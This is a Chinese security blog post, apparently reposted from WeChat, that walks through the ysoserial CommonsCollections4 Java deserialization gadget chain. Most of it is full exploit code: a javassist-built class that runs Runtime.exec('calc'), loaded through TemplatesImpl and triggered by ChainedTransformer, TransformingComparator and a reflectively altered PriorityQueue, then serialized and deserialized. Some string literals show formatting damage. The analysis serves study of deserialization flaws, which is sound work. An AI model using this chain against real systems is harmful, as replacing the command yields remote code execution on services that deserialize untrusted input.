ysoserial CommonsColletions4分析

  • A+
所属分类:代码审计

其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点。

不过要注意的是,CC4和CC2一样需要在commons-collections-4.0版本使用,3.1-3.2.1版本不能去使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

JDK版本对于CC2和CC4来说,1.7和1.8都测试成功,下面我们就来快速构造一下payload

构造payload

CC4用的是javassist创建攻击类,使用TemplatesImpl类中的newTransformer方法触发攻击类中的静态方法

public class Demo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes"new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name""HelloTemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory"new TransformerFactoryImpl());
        templatesImpl.newTransformer();
    }
}

通过ConstantTransformer、InstantiateTransformer、ChainedTransformer三个类构造出一条调用链

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]
{Templates.class},
                new Object[]
{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

利用TransformingComparator触发chain#transform

        TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修饰器传入transformer对象

因为在优先级队列PriorityQueue反序列时候,满足条件即可调用到compare方法,所以利用这点来调用到TransformingComparator的compare

ysoserial CommonsColletions4分析
image-20210708203548258
        //创建PriorityQueue实例化对象,排序后使size值为2
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(1);

        Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue, comparator);//设置PriorityQueue的comparator字段值为comparator

        Field field3 = queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl

最后几个注意点复习下:

size>= 2:对应queue.add调用两次

initialCapacity的值不能小于1:对应new PriorityQueue(1)

comparator的值要通过反射进行传入,不然会在序列化时候抛出异常

构造出的Payload:

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name""xxxx");
        setFieldValue(templatesImpl, "_bytecodes"new byte[][]{bytes});

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]
{Templates.class},
                new Object[]
{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修饰器传入transformer对象

        //创建PriorityQueue实例化对象,排序后使size值为2
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(1);

        Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue, comparator);//设置PriorityQueue的comparator字段值为comparator

        Field field3 = queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}


本文始发于微信公众号(安全羊):ysoserial CommonsColletions4分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: